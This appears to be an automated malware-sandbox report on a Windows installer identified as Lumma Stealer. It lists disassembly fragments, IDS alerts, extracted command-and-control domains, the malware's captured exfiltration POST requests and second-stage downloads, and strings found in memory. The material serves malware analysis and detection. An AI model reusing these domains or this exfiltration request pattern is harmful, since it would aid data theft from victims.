Source: C:\Users\user\Desktop\setup.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	0_2_007E722D
Source: C:\Users\user\Desktop\setup.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+000000A0h]	0_2_007D42F6
Source: C:\Users\user\Desktop\setup.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], DA026237h	0_2_007D42F6
Source: C:\Users\user\Desktop\setup.exe	Code function: 4x nop then cmp word ptr [esi+eax+02h], 0000h	0_2_007CB2BF
Source: C:\Users\user\Desktop\setup.exe	Code function: 4x nop then movzx ebx, byte ptr [esp+eax]	0_2_007D5352
Source: C:\Users\user\Desktop\setup.exe	Code function: 4x nop then mov byte ptr [edi], al	0_2_007DF340
Source: C:\Users\user\Desktop\setup.exe	Code function: 4x nop then movzx edi, byte ptr [ecx+esi]	0_2_007B43DD
Source: C:\Users\user\Desktop\setup.exe	Code function: 4x nop then mov edi, esi	0_2_007F03B5
Source: C:\Users\user\Desktop\setup.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-748B770Eh]	0_2_007F245D
Source: C:\Users\user\Desktop\setup.exe	Code function: 4x nop then jmp ecx	0_2_007F1491
Source: C:\Users\user\Desktop\setup.exe	Code function: 4x nop then movzx esi, byte ptr [esp+eax+0Ch]	0_2_007EA5ED
Source: C:\Users\user\Desktop\setup.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_007D366D
Source: C:\Users\user\Desktop\setup.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-45h]	0_2_007C661D
Source: C:\Users\user\Desktop\setup.exe	Code function: 4x nop then mov ecx, ebp	0_2_007BA60D
Source: C:\Users\user\Desktop\setup.exe	Code function: 4x nop then cmp word ptr [eax+edx+02h], 0000h	0_2_007BC6FB
Source: C:\Users\user\Desktop\setup.exe	Code function: 4x nop then mov ecx, ebx	0_2_007C66DF
Source: C:\Users\user\Desktop\setup.exe	Code function: 4x nop then movzx edi, byte ptr [edx]	0_2_007BC74A
Source: C:\Users\user\Desktop\setup.exe	Code function: 4x nop then jmp eax	0_2_007D9714
Source: C:\Users\user\Desktop\setup.exe	Code function: 4x nop then push esi	0_2_007D27F0
Source: C:\Users\user\Desktop\setup.exe	Code function: 4x nop then mov esi, eax	0_2_007CA797
Source: C:\Users\user\Desktop\setup.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], EABBD981h	0_2_007BF85D
Source: C:\Users\user\Desktop\setup.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	0_2_007DB83D
Source: C:\Users\user\Desktop\setup.exe	Code function: 4x nop then mov ecx, dword ptr [ebp-14h]	0_2_007EF828
Source: C:\Users\user\Desktop\setup.exe	Code function: 4x nop then mov word ptr [esi], cx	0_2_007CE8CD
Source: C:\Users\user\Desktop\setup.exe	Code function: 4x nop then mov edx, ecx	0_2_007C69DD
Source: C:\Users\user\Desktop\setup.exe	Code function: 4x nop then jmp edx	0_2_007D49AD
Source: C:\Users\user\Desktop\setup.exe	Code function: 4x nop then jmp edx	0_2_007D49A4
Source: C:\Users\user\Desktop\setup.exe	Code function: 4x nop then mov esi, eax	0_2_007CFA6D
Source: C:\Users\user\Desktop\setup.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+04AB0530h]	0_2_007CFA6D
Source: C:\Users\user\Desktop\setup.exe	Code function: 4x nop then movzx eax, word ptr [ebp+ecx+00h]	0_2_007D3A4D
Source: C:\Users\user\Desktop\setup.exe	Code function: 4x nop then movzx ecx, byte ptr [ebx+eax+38A2D7F7h]	0_2_007DAA3E
Source: C:\Users\user\Desktop\setup.exe	Code function: 4x nop then mov edx, ecx	0_2_007BDBE1
Source: C:\Users\user\Desktop\setup.exe	Code function: 4x nop then jmp edx	0_2_007D4BBD
Source: C:\Users\user\Desktop\setup.exe	Code function: 4x nop then mov eax, dword ptr [esp]	0_2_007D4B92
Source: C:\Users\user\Desktop\setup.exe	Code function: 4x nop then add eax, dword ptr [esp+ecx*4+24h]	0_2_007B8C3D
Source: C:\Users\user\Desktop\setup.exe	Code function: 4x nop then movzx ecx, word ptr [edi+esi*4]	0_2_007B8C3D
Source: C:\Users\user\Desktop\setup.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+589521F5h]	0_2_007F1C2D
Source: C:\Users\user\Desktop\setup.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+04273BF7h]	0_2_007BFCC5
Source: C:\Users\user\Desktop\setup.exe	Code function: 4x nop then mov ecx, eax	0_2_007DDCAC
Source: C:\Users\user\Desktop\setup.exe	Code function: 4x nop then mov edx, ecx	0_2_007DDCAC
Source: C:\Users\user\Desktop\setup.exe	Code function: 4x nop then jmp ecx	0_2_007D6D21
Source: C:\Users\user\Desktop\setup.exe	Code function: 4x nop then mov esi, dword ptr [ebp+08h]	0_2_007C7D95
Source: C:\Users\user\Desktop\setup.exe	Code function: 4x nop then cmp byte ptr [esi+ebp], 00000000h	0_2_007DBE5D
Source: C:\Users\user\Desktop\setup.exe	Code function: 4x nop then cmp word ptr [esi+edi+02h], 0000h	0_2_007D9ED6
Source: C:\Users\user\Desktop\setup.exe	Code function: 4x nop then cmp word ptr [ebp+ecx+00h], 0000h	0_2_007D3F7D
Source: C:\Users\user\Desktop\setup.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_007D3F7D
Source: C:\Users\user\Desktop\setup.exe	Code function: 4x nop then jmp eax	0_2_007EAF64
Source: C:\Users\user\Desktop\setup.exe	Code function: 4x nop then jmp ecx	0_2_007D6F4F
Source: C:\Users\user\Desktop\setup.exe	Code function: 4x nop then mov byte ptr [esi], al	0_2_007DDF10
Source: C:\Users\user\Desktop\setup.exe	Code function: 4x nop then mov ecx, eax	0_2_007DCE06
Source: C:\Users\user\Desktop\setup.exe	Code function: 4x nop then mov byte ptr [esi], al	0_2_007C7F9F
Source: C:\Users\user\Desktop\setup.exe	Code function: 4x nop then mov ecx, eax	0_2_007DCF93
Source: C:\Users\user\Desktop\setup.exe	Code function: 4x nop then mov ecx, eax	0_2_007DCF89

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49730 -> 104.21.32.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49730 -> 104.21.32.1:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49731 -> 104.21.32.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49731 -> 104.21.32.1:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49741 -> 104.21.32.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49744 -> 104.21.32.1:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: prisonyfork.buzz
Source: Malware configuration extractor	URLs: screwamusresz.buzz
Source: Malware configuration extractor	URLs: scentniej.buzz
Source: Malware configuration extractor	URLs: inherineau.buzz
Source: Malware configuration extractor	URLs: learningypr.click
Source: Malware configuration extractor	URLs: appliacnesot.buzz
Source: Malware configuration extractor	URLs: cashfuzysao.buzz
Source: Malware configuration extractor	URLs: rebuildeso.buzz
Source: Malware configuration extractor	URLs: hummskitnj.buzz

Source: Joe Sandbox View	IP Address: 104.21.32.1 104.21.32.1
Source: Joe Sandbox View	IP Address: 185.161.251.21 185.161.251.21

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49735 -> 104.21.32.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49741 -> 104.21.32.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49731 -> 104.21.32.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49742 -> 104.21.32.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49739 -> 104.21.32.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49733 -> 104.21.32.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49745 -> 185.161.251.21:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49730 -> 104.21.32.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49746 -> 172.67.208.58:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49743 -> 104.21.32.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49744 -> 104.21.32.1:443
Source: Network traffic	Suricata IDS: 2008438 - Severity 1 - ET MALWARE Possible Windows executable sent when remote host claims to send a Text File : 172.67.208.58:443 -> 192.168.2.4:49746

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: learningypr.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 78Host: learningypr.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=RVM1PD4RW0Q7YUQJUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 18150Host: learningypr.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=KKG02N6EUUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8729Host: learningypr.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=POEN4VU2User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20376Host: learningypr.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=Z88PPM2LUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 7069Host: learningypr.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=HXTEUTBDR7M2M2TJUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1243Host: learningypr.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=7DH7ZQOL75A5IGHY65User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 585356Host: learningypr.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 113Host: learningypr.click
Source: global traffic	HTTP traffic detected: GET /8574262446/ph.txt HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: cegu.shop
Source: global traffic	HTTP traffic detected: GET /int_clp_sha.txt HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: klipvumisui.shop

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /8574262446/ph.txt HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: cegu.shop
Source: global traffic	HTTP traffic detected: GET /int_clp_sha.txt HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: klipvumisui.shop

Source: global traffic	DNS traffic detected: DNS query: learningypr.click
Source: global traffic	DNS traffic detected: DNS query: cegu.shop
Source: global traffic	DNS traffic detected: DNS query: klipvumisui.shop
Source: global traffic	DNS traffic detected: DNS query: dfgh.online

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: learningypr.click

Source: setup.exe, 00000000.00000003.1854856966.0000000003699000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: setup.exe, 00000000.00000003.1854856966.0000000003699000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: setup.exe, 00000000.00000003.2073247216.00000000008E3000.00000004.00000020.00020000.00000000.sdmp, F3638EZUZ711WUU8SDVPW34XAAMUZ.exe.0.dr	String found in binary or memory: http://certs.securetrust.com/issuers/TWGCA.crt0
Source: setup.exe, 00000000.00000002.2078744236.00000000008D9000.00000004.00000020.00020000.00000000.sdmp, F3638EZUZ711WUU8SDVPW34XAAMUZ.exe.0.dr	String found in binary or memory: http://certs.securetrust.com/issuers/TWGCSCA_L1.crt0
Source: setup.exe, 00000000.00000003.2073247216.00000000008E3000.00000004.00000020.00020000.00000000.sdmp, F3638EZUZ711WUU8SDVPW34XAAMUZ.exe.0.dr	String found in binary or memory: http://certs.securetrust.com/issuers/VCTWGTSCA_L1.crt0
Source: F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp, 00000007.00000003.2104859291.0000000002DA0000.00000004.00001000.00020000.00000000.sdmp, F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp, 00000007.00000003.2097784921.0000000003D80000.00000004.00001000.00020000.00000000.sdmp, F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp, 00000009.00000003.2635140988.0000000002AF0000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.9.dr, _isdecmp.dll.7.dr	String found in binary or memory: http://crl.certum.pl/cscasha2.crl0q
Source: F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp, 00000007.00000003.2104859291.0000000002DA0000.00000004.00001000.00020000.00000000.sdmp, F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp, 00000007.00000003.2097784921.0000000003D80000.00000004.00001000.00020000.00000000.sdmp, F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp, 00000009.00000003.2635140988.0000000002AF0000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.9.dr, _isdecmp.dll.7.dr	String found in binary or memory: http://crl.certum.pl/ctnca.crl0k
Source: powershell.exe, 00000004.00000002.2025410025.0000000007ACD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro4f
Source: powershell.exe, 00000004.00000002.2028338121.0000000008C42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoft.co
Source: setup.exe, 00000000.00000003.1854856966.0000000003699000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp, 00000007.00000003.2104859291.0000000002DA0000.00000004.00001000.00020000.00000000.sdmp, F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp, 00000007.00000003.2097784921.0000000003D80000.00000004.00001000.00020000.00000000.sdmp, F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp, 00000009.00000003.2635140988.0000000002AF0000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.9.dr, _isdecmp.dll.7.dr	String found in binary or memory: http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t
Source: setup.exe, 00000000.00000002.2078744236.00000000008D9000.00000004.00000020.00020000.00000000.sdmp, F3638EZUZ711WUU8SDVPW34XAAMUZ.exe.0.dr	String found in binary or memory: http://crl.securetrust.com/TWGCSCA_L1.crl0y
Source: setup.exe, 00000000.00000002.2078744236.00000000008D9000.00000004.00000020.00020000.00000000.sdmp, F3638EZUZ711WUU8SDVPW34XAAMUZ.exe.0.dr	String found in binary or memory: http://crl.trustwave.com/TWGCA.crl0n
Source: F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp, 00000007.00000003.2104859291.0000000002DA0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.usertr
Source: F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp, 00000009.00000003.2635140988.0000000002AF0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.usertru
Source: setup.exe, 00000000.00000003.2073247216.00000000008E3000.00000004.00000020.00020000.00000000.sdmp, F3638EZUZ711WUU8SDVPW34XAAMUZ.exe.0.dr	String found in binary or memory: http://crl.vikingcloud.com/TWGCA.crl0t
Source: setup.exe, 00000000.00000003.2073247216.00000000008E3000.00000004.00000020.00020000.00000000.sdmp, F3638EZUZ711WUU8SDVPW34XAAMUZ.exe.0.dr	String found in binary or memory: http://crl.vikingcloud.com/VCTWGTSCA_L1.crl0
Source: setup.exe, 00000000.00000003.1854856966.0000000003699000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: setup.exe, 00000000.00000003.1854856966.0000000003699000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: setup.exe, 00000000.00000003.1854856966.0000000003699000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: setup.exe, 00000000.00000003.1854856966.0000000003699000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp, 00000007.00000003.2104859291.0000000002DA0000.00000004.00001000.00020000.00000000.sdmp, F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp, 00000009.00000003.2635140988.0000000002AF0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/Sectig
Source: F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp, 00000007.00000003.2104859291.0000000002DA0000.00000004.00001000.00020000.00000000.sdmp, F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp, 00000007.00000003.2097784921.0000000003D80000.00000004.00001000.00020000.00000000.sdmp, F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp, 00000009.00000003.2635140988.0000000002AF0000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.9.dr, _isdecmp.dll.7.dr	String found in binary or memory: http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#
Source: F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp, 00000007.00000003.2104859291.0000000002DA0000.00000004.00001000.00020000.00000000.sdmp, F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp, 00000007.00000003.2097784921.0000000003D80000.00000004.00001000.00020000.00000000.sdmp, F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp, 00000009.00000003.2635140988.0000000002AF0000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.9.dr, _isdecmp.dll.7.dr	String found in binary or memory: http://cscasha2.ocsp-certum.com04
Source: powershell.exe, 00000004.00000002.2014602281.00000000057AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://go.micros
Source: BrightLib.exe, 00000025.00000002.2608076575.0000000001A97000.00000004.00000020.00020000.00000000.sdmp, BrightLib.exe, 00000025.00000002.2608879083.0000000006344000.00000004.00000020.00020000.00000000.sdmp, BrightLib.exe, 00000025.00000000.2570130644.0000000000AEE000.00000002.00000001.01000000.0000000E.sdmp, BrightLib.exe, 00000025.00000002.2608169380.0000000003270000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://michaeluno.jp/
Source: BrightLib.exe, 00000025.00000002.2608169380.0000000003270000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://michaeluno.jp/4
Source: setup.exe, 00000000.00000003.1828202359.000000000094A000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2005263169.0000000000957000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000002.2087997454.0000000000957000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1885564075.0000000000957000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://microsoft.co
Source: powershell.exe, 00000004.00000002.2022246655.00000000063B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: setup.exe, 00000000.00000003.1854856966.0000000003699000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: setup.exe, 00000000.00000003.1854856966.0000000003699000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp, 00000007.00000003.2104859291.0000000002DA0000.00000004.00001000.00020000.00000000.sdmp, F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp, 00000007.00000003.2097784921.0000000003D80000.00000004.00001000.00020000.00000000.sdmp, F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp, 00000009.00000003.2635140988.0000000002AF0000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.9.dr, _isdecmp.dll.7.dr	String found in binary or memory: http://ocsp.sectigo.com0
Source: setup.exe, 00000000.00000002.2078744236.00000000008D9000.00000004.00000020.00020000.00000000.sdmp, F3638EZUZ711WUU8SDVPW34XAAMUZ.exe.0.dr	String found in binary or memory: http://ocsp.securetrust.com/0?
Source: setup.exe, 00000000.00000002.2078744236.00000000008D9000.00000004.00000020.00020000.00000000.sdmp, F3638EZUZ711WUU8SDVPW34XAAMUZ.exe.0.dr	String found in binary or memory: http://ocsp.trustwave.com/06
Source: setup.exe, 00000000.00000003.2073247216.00000000008E3000.00000004.00000020.00020000.00000000.sdmp, F3638EZUZ711WUU8SDVPW34XAAMUZ.exe.0.dr	String found in binary or memory: http://ocsp.vikingcloud.com/0:
Source: setup.exe, 00000000.00000003.2073247216.00000000008E3000.00000004.00000020.00020000.00000000.sdmp, F3638EZUZ711WUU8SDVPW34XAAMUZ.exe.0.dr	String found in binary or memory: http://ocsp.vikingcloud.com/0A
Source: powershell.exe, 00000004.00000002.2014602281.00000000054A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp, 00000007.00000003.2104859291.0000000002DA0000.00000004.00001000.00020000.00000000.sdmp, F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp, 00000007.00000003.2097784921.0000000003D80000.00000004.00001000.00020000.00000000.sdmp, F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp, 00000009.00000003.2635140988.0000000002AF0000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.9.dr, _isdecmp.dll.7.dr	String found in binary or memory: http://repository.certum.pl/cscasha2.cer0
Source: F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp, 00000007.00000003.2104859291.0000000002DA0000.00000004.00001000.00020000.00000000.sdmp, F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp, 00000007.00000003.2097784921.0000000003D80000.00000004.00001000.00020000.00000000.sdmp, F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp, 00000009.00000003.2635140988.0000000002AF0000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.9.dr, _isdecmp.dll.7.dr	String found in binary or memory: http://repository.certum.pl/ctnca.cer09
Source: powershell.exe, 00000004.00000002.2014602281.0000000005584000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 00000004.00000002.2014602281.0000000005351000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000004.00000002.2014602281.0000000005584000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: setup.exe, 00000000.00000002.2078744236.00000000008D9000.00000004.00000020.00020000.00000000.sdmp, F3638EZUZ711WUU8SDVPW34XAAMUZ.exe.0.dr	String found in binary or memory: http://ssl.trustwave.com/issuers/TWGCA.crt0
Source: F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp, 00000007.00000003.2104859291.0000000002DA0000.00000004.00001000.00020000.00000000.sdmp, F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp, 00000007.00000003.2097784921.0000000003D80000.00000004.00001000.00020000.00000000.sdmp, F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp, 00000009.00000003.2635140988.0000000002AF0000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.9.dr, _isdecmp.dll.7.dr	String found in binary or memory: http://subca.ocsp-certum.com01
Source: powershell.exe, 00000004.00000002.2014602281.00000000054A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: BrightLib.exe, 00000025.00000002.2607198413.000000000049A000.00000002.00000001.01000000.0000000E.sdmp, BrightLib.exe, 00000025.00000000.2570070848.000000000049A000.00000002.00000001.01000000.0000000E.sdmp, is-T64JA.tmp.9.dr	String found in binary or memory: http://www.autohotkey.com
Source: BrightLib.exe, 00000025.00000002.2607198413.000000000049A000.00000002.00000001.01000000.0000000E.sdmp, BrightLib.exe, 00000025.00000000.2570070848.000000000049A000.00000002.00000001.01000000.0000000E.sdmp, is-T64JA.tmp.9.dr	String found in binary or memory: http://www.autohotkey.comCould
Source: F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp, 00000007.00000003.2104859291.0000000002DA0000.00000004.00001000.00020000.00000000.sdmp, F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp, 00000007.00000003.2097784921.0000000003D80000.00000004.00001000.00020000.00000000.sdmp, F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp, 00000009.00000003.2635140988.0000000002AF0000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.9.dr, _isdecmp.dll.7.dr	String found in binary or memory: http://www.certum.pl/CPS0
Source: BrightLib.exe, 00000025.00000002.2630344211.000000003A04C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.info-zip.org/
Source: setup.exe	String found in binary or memory: http://www.toolwiz.com
Source: setup.exe, 00000000.00000003.1854856966.0000000003699000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: setup.exe, 00000000.00000003.1854856966.0000000003699000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: setup.exe, 00000000.00000003.1829151323.00000000036AA000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1829405656.00000000036A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: powershell.exe, 00000004.00000002.2025410025.0000000007AF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://aka..winsvr
Source: powershell.exe, 00000004.00000002.2014602281.0000000005351000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB
